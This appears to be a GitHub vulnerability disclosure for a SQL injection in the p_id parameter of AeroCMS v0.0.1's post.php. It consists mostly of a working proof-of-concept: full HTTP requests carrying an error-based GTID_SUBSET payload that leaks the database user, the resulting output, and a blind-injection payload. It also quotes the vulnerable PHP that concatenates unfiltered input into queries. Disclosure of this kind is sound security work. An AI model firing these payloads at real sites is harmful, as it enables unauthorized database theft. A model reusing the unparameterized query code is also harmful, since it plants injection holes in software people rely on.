



slsys0 commit post_sql_injection/ file



0 contributors



57 lines (36 sloc) 1.73 KB

...

post_sql_injection

Step to Reproduce

- The p_id parameter from the AeroCMS-v0.0.1 CMS system appears to be vulnerable to SQL injection attacks. The malicious user can dump-steal the database, from this CMS system and he can use it for very malicious purposes.

Exploit

Query out the current user

```
1 GET /AeroCMS-0.0.1/post.php?p_id=
1+AND+GTID_SUBSET(CONCAT(0x7e,(SELECT+(ELT(9647=9647,user()))),0x7e),964
7) HTTP/1.1
2 Host: localhost
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.0 Safari/537.36
5 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
ebp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
6 Accept-Encoding: gzip, deflate
7 Accept-Language: zh-CN,zh;q=0.9
8 Cookie: PHPSESSID=jq9gpgq0retupblaa74t4jtj243
9 Connection: close
```

My Blog

Query failed Malformed GTID set specification '~root@localhost~'.

Vulnerable Code

AeroCMS-0.0.1\post.php

The p_id parameter is passed in the GET mode and brought into the mysql_query() function without filtering

p_id参数通过Get方式传入, 未经过滤带入mysql_query()函数

```
12 <!-- Blog Entries Column -->
13 <div class="col-md-8">
14
15 <?php
16
17 if(isset($_GET['p_id'])) $_GET: {p_id => "1 or if(substr(database(),1,1)='a',1,0)"}[1]
18 {
19     $the_get_post_id = $_GET['p_id']; $the_get_post_id: "1 or if(substr(database(),1,1)='a',1,0)" $_GET: {
20
21     $view_query = "UPDATE posts set post_views_count = post_views_count + 1 WHERE post_id = $the_get_post_id";
22     $send_query = mysqli_query($connection, $view_query); $connection: {affected_rows => -1, client_info => "
23
24 $view_query = "UPDATE posts set post_views_count = post_views_count + 1 WHERE post_id = 1 or if(substr(database(),1,1)='a',1,0)"
```

```
31 {
32     $query = "SELECT * FROM posts WHERE post_id = $the_get_post_id"; $query: "SELECT * FROM posts WHERE post_id = 1 or if(substr(database(),1,1)='a',1,0) AND post_status = 'published'"
33 }
34 else
35 {
36     $query = "SELECT * FROM posts WHERE post_id = $the_get_post_id AND post_status = 'published'; $the_get_post_id: "1 or if(substr(database(),1,1)='a',1,0)"
37 }
38
39 $result = mysqli_query($connection, $query); $connection: {affected_rows => -1, client_info => "mysqlnd 5.0.10 - 20111026 - $id: c85105d7c6f7d70d609bb4c000257868a40040eb $", client_version
```

SQL query statements

"UPDATE posts set post_views_count = post_views_count + 1 WHERE post_id = 1 AND GTID_SUBSET(CONCAT(0x7e,(SEL
"SELECT * FROM posts WHERE post_id = 1 or if(substr(database(),1,1)='a',1,0) AND post_status = 'published'"

POC

- Injection Point

p_id=1+AND+GTID_SUBSET(CONCAT(0x7e,(SELECT+(ELT(9647=9647,user()))),0x7e),9647)

- Request

GET /AeroCMS-0.0.1/post.php?p_id=1+AND+GTID_SUBSET(CONCAT(0x7e,(SELECT+(ELT(9647=9647,user()))),0x7e),9647)
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.428
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,app
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=jq9gpq0retupb1aa74t4jtj243
Connection: close

- Status
- Docs
- Contact GitHub
- Pricing
- API
- Training
- Blog
- About